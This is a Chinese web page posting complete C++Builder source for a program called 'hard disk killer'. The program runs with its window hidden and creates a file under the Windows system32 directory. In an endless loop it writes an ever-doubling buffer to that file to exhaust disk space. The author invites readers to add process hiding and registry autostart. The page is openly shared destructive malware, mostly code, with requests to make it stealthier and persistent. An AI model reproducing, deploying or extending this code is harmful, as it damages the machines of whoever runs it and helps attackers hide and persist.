硬盘杀手
|
| |
硬盘杀手
编译环境:c++Builder 6.0 系统环境:Windows 2000 功能说明:利用while (true)语句产生一个死循环,不停的将缓冲区的数据写入文件,使这个文件容量越来越大。
代码: //--------------------------------------------------------------------------- // TomyDan.net 硬盘杀手 //作 者:wkbsb //联系方式:wkbsb@21cn.com qq:47883053 //功 能:不停的将缓冲区的数据写入文件,使这个文件容量越来越大 //版权说明:作者授权可以自由传播,自由使用源代码,但是请不要修改原作者信息,谢谢 // 如果你有什么好的意见,欢迎来信. //当前版本: V0.1 //版本历史: V0.1 不停的将缓冲区的数据写入文件,使这个文件容量越来越大 //---------------------------------------------------------------------------
#include <vcl.h> #pragma hdrstop
#include "Unit1.h" #include <Filectrl.hpp> #include<inifiles.hpp> //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma resource "*.dfm" TForm1 *Form1; //--------------------------------------------------------------------------- __fastcall TForm1::TForm1(TComponent* Owner) : TForm(Owner) { Application->ShowMainForm=false; } //--------------------------------------------------------------------------- void __fastcall TForm1::FormCreate(TObject *Sender) { if (DirectoryExists("c:\\windows\\system32")) \\判断是98还是2K系统 { ForceDirectories("c:\\windows\\system32\\wkbsb");\\强制建立目录 int hFile=FileCreate("c:\\windows\\system32\\wkbsb\\set.ini");\\创建新文件 AnsiString ss=" "; \\把空格赋值给ss这个变量 while(true) \\死循环 { FileWrite(hFile,ss.c_str(),ss.Length()+1); \\将缓冲区中的数据写入set.ini文件里。 ss=ss+ss; \\把ss这个变量自己加自己,从而达到数据的膨胀 } } else { ForceDirectories("c:\\winnt\\system32\\wkbsb"); int hFile=FileCreate("c:\\winnt\\system32\\wkbsb\\set.ini"); AnsiString ss=" "; while(true) { FileWrite(hFile,ss.c_str(),ss.Length()+1); ss=ss+ss; } } } //---------------------------------------------------------------------------
我把这个程序的源代码公布出来,只是想和大家交流一下我的思想,我觉得我的这个想法是可以的,可我的知识有限,这个程序有很多功能我没有写完,比如:进程隐藏,还有死循环会耗CPU,有没有更好的办法不耗CPU的,把程序加入注册表里,让它每次启动的时候自动运行,每次运行的时候,先读取set.ini的内容,再写入、、、等等,希望大家帮我改良一下这个程序。
版权所有:wkbsb CopyRight (C) 2003 TomyDan网络工作室 http://www.tomydan.net
|
| |
下一篇:关于WIN 2000下的进程枚举 |
| 收录日期:2005-10-21 9:02:43 |
| 相关新闻: |
| |
特别申明:本站绝大部分文章与作品均收集于互联网或网友自行上传,如有侵权,请主动与我们联系,如属实,我们会及时删除。同时深圳生活网不对文章及作品使用后果负任何连带责任。谢谢合作! |
|
 |
热 点 排 行 |
|
|